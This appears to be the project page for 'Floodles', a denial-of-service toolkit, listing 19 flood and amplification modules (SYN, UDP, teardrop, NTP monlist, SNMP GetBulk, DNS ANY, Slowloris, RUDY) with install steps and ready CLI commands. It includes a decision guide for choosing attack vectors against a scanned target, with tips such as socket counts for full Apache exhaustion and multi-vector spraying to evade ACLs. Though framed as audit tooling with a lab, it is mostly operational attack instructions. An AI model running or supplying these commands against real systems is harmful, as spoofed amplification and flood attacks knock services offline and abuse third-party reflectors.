Floodles — DoS Testing Toolkit

19 MODULES

CODE	MODULE	DESCRIPTION	LAYER	ROOT	AMP
NETWORK & TRANSPORT — Layer 3/4
UFOSYN	syn_flood	Half-open TCP state exhaustion. Spoofed SYN fills server backlog. Tests SYN cookie activation.	L4	ROOT	—
UFOACK	ack_flood	Spoofed ACK flood. Generates RST storm. Reveals stateless vs stateful firewall behavior.	L4	ROOT	—
UFORST	rst_flood	RST/FIN flood. Forceful TCP connection teardown. Variants: R, F, RF.	L4	ROOT	—
XMAS	xmas_flood	All 8 TCP flags simultaneously. Illegal per RFC 793. IDS detection + stateless ACL bypass test.	L4	ROOT	—
UFOUDP	udp_flood	Volumetric UDP up to 1400B. Random ports generate ICMP unreachable storm on victim.	L4	ROOT	—
PINGER	icmp_flood	ICMP echo flood. Server must reply per packet — doubles effective bandwidth.	L3	ROOT	—
TACHYON	tachyon	SYN-ACK flood. Direct or reflected mode. Reflected: real servers send SYN-ACK to victim from valid IPs.	L4	ROOT	~1x
DROPER	ip_frag	IP fragmentation flood. 8-byte fragments exhaust kernel ipq reassembly buffers. last_only holds 30s.	L3	ROOT	—
OVERLAP	overlap	Fragment overlap. Teardrop: overlapping offsets crash old kernels. Rose, Tiny variants.	L3	ROOT	—
AMPLIFICATION / DRDoS
SNIPER	sniper	SNMP v2c GetBulkRequest. BER-encoded manually. max-repetitions=255 dumps full MIB-II subtree.	AMP	ROOT	~650x
MONLIST	ntp_amp	NTP mode 7 monlist. 8-byte request to 4400-byte response. Widespread on unpatched embedded devices.	AMP	ROOT	~550x
SMURF	smurf	ICMP echo to subnet broadcast, spoofed as victim. Every host on /24 replies to victim.	AMP	ROOT	~254x
FRAGGLE	fraggle	UDP echo port 7 or chargen port 19 broadcast amplification. Auto-derives broadcast from CIDR.	AMP	ROOT	~254x
DNS	dns_amp	DNS ANY/DNSKEY reflection via open resolvers. Unique random subdomain per packet defeats cache. Accepts @file.txt lists.	AMP	ROOT	~60x
SPRAY	spray	Multi-vector DRDoS coordinator. NTP + DNS + SNMP simultaneously. YAML-configurable.	AMP	ROOT	MULTI
APPLICATION — Layer 7
LOIC L7	http_flood	Async GET/POST via Go goroutines. Cache-bust, UA rotation. 100k+ concurrent connections.	L7	NO ROOT	—
LORIS	slowloris	Incomplete HTTP headers. Server waits for CRLF. Drips junk headers every 10s. Auto-refills pool.	L7	NO ROOT	—
RUDY	slow_post	10MB Content-Length declared, 1 byte/10s body drip. Bypasses header-timeout servers.	L7	NO ROOT	—
NUKE	nuke	TCP connection starvation. Full 3-way handshake, fills ESTABLISHED table. window0 variant.	L4/L7	NO ROOT	—

PERFORMANCE

Python + Scapy~12k PPS

1 sendto() per packet — Python GIL ceiling

C sendmmsg batch=32~310k PPS

3.6x over sendto()

C sendmmsg batch=128~710k PPS

8.4x — amortized syscall cost

C sendmmsg batch=256 ★~2M PPS

default — NIC-limited on 1 Gbps

Go HTTP engine100k+ conns

goroutines M:N — 2KB stack each

root@host:~# floodles detect

[+] C sender : libsender.so (sendmmsg batch=256)

[+] Rust packets: libfloodles_packets.so (zero-copy)

[+] Go engine : floodles-engine ready

[*] All backends active. Maximum performance.

root@host:~#

AMP

650xSNIPER

GetBulk // UDP:161

550xMONLIST

monlist // UDP:123

254xSMURF

broadcast ICMP

254xFRAGGLE

UDP echo // :7

60xDNS AMP

ANY/DNSKEY // :53

★SPRAY

combined vectors

INSTALL & BUILD

Quick Install

# Installs everything automatically

$ git clone https://github.com/franckferman/Floodles

$ cd Floodles && ./install.sh

$ source ~/.bashrc

[+] All backends ready.

Manual

# venv + Python dependencies

$ python3 -m venv .venv && pip install -e .

# Native backends

$ apt install gcc golang-go

$ curl -sSf https://sh.rustup.rs | sh

$ make

Validate

$ floodles detect

[+] C sender: libsender.so

[+] Rust packets: libfloodles_packets.so

[+] Go engine: floodles-engine

[*] All native backends active.

DOSArena Lab

# Isolated lab with scoring engine

# 15 Docker containers, 8 attack scenarios

# Live proof-of-impact validation

$ git clone https://github.com/

franckferman/DOSArena

$ cd DOSArena && make up

Built-in manual

# List all 19 documented modules

$ floodles man --list

# Full manual for a module

$ floodles man syn

$ floodles man slow

$ floodles man dns

Scan & Profile

# Pre-attack recon: ports, banner, NTP

$ floodles scan 192.168.1.100 --ntp

# YAML attack profile

$ floodles gen syn_flood test.yaml

$ sudo floodles profile test.yaml

CLI REFERENCE

Layer 3/4ROOT

# SYN flood — 32 threads, 60s

$ sudo floodles syn 192.168.1.100 80 -t 32 -d 60

# UDP — near-MTU, random ports

$ sudo floodles udp 192.168.1.100 -s 1400 -t 16

# XMAS — IDS detection test

$ sudo floodles xmas 192.168.1.100 80

# ACK — stateless firewall test

$ sudo floodles ack 192.168.1.100 80

# Teardrop fragment overlap

$ sudo floodles overlap 192.168.1.100 --variant teardrop

AmplificationROOT

# SNMP GetBulk ~650x

$ sudo floodles sniper 192.168.1.100 \

-r 10.0.0.1 --community public

# NTP monlist ~550x

$ sudo floodles ntp 192.168.1.100 -r 10.0.0.2

# DNS ANY ~60x

$ sudo floodles dns 192.168.1.100 -r @resolvers.txt

# Multi-vector DRDoS

$ sudo floodles spray 192.168.1.100 \

-c config/examples/spray.yaml

Layer 7NO ROOT

# HTTP flood — Go goroutines

$ floodles http http://192.168.1.100/ -c 1000 -d 60

# Slowloris — Apache exhaustion

$ floodles slow 192.168.1.100 -s 300 -d 120

# Slow POST (RUDY)

$ floodles slowpost 192.168.1.100 -s 150

# TCP starvation

$ floodles nuke 192.168.1.100 --variant window0

ManualBUILT-IN

# List all 19 documented attack modules

$ floodles man --list

# Full manual: mechanism, audit use, indicators, defenses, examples

$ floodles man syn

$ floodles man slowloris

$ floodles man ntp

DECISION GUIDE

// floodles scan <target> --ntp

scan output

│

├── Port 80/443 open?

│ ├── Apache/IIS → slowloris + slow_post + nuke

│ ├── nginx → http_flood (event-driven)

│ └── WAF/CDN → http_flood POST + cache_bust

│

├── Any TCP port?

│ ├── No SYN cookies → syn_flood

│ ├── Firewall → ack_flood (stateful?)

│ ├── IDS in scope → xmas_flood

│ └── Any TCP → nuke

│

├── Amplifiers in scope?

│ ├── SNMP public → sniper (~650x)

│ ├── NTP monlist → ntp_amp (~550x)

│ ├── DNS resolver→ dns_amp (~60x)

│ └── multiple → spray

│

└── Legacy / embedded / OT?

├── old kernel → overlap --variant teardrop

└── frag buffer → ip_frag --variant last_only

syn_flood

First move on any open TCP port. Increase threads progressively to find degradation threshold.

sniper

~650x SNMP GetBulk. Printers, switches, UPS — community "public" still common default.

slowloris

Set sockets to MaxRequestWorkers + 10%. Default Apache = 256. 300 sockets for full exhaustion.

spray

NTP + DNS + SNMP simultaneously. Different source IPs per protocol — no single ACL blocks all.

overlap

Teardrop still crashes VxWorks, QNX, LynxOS and other custom embedded stacks.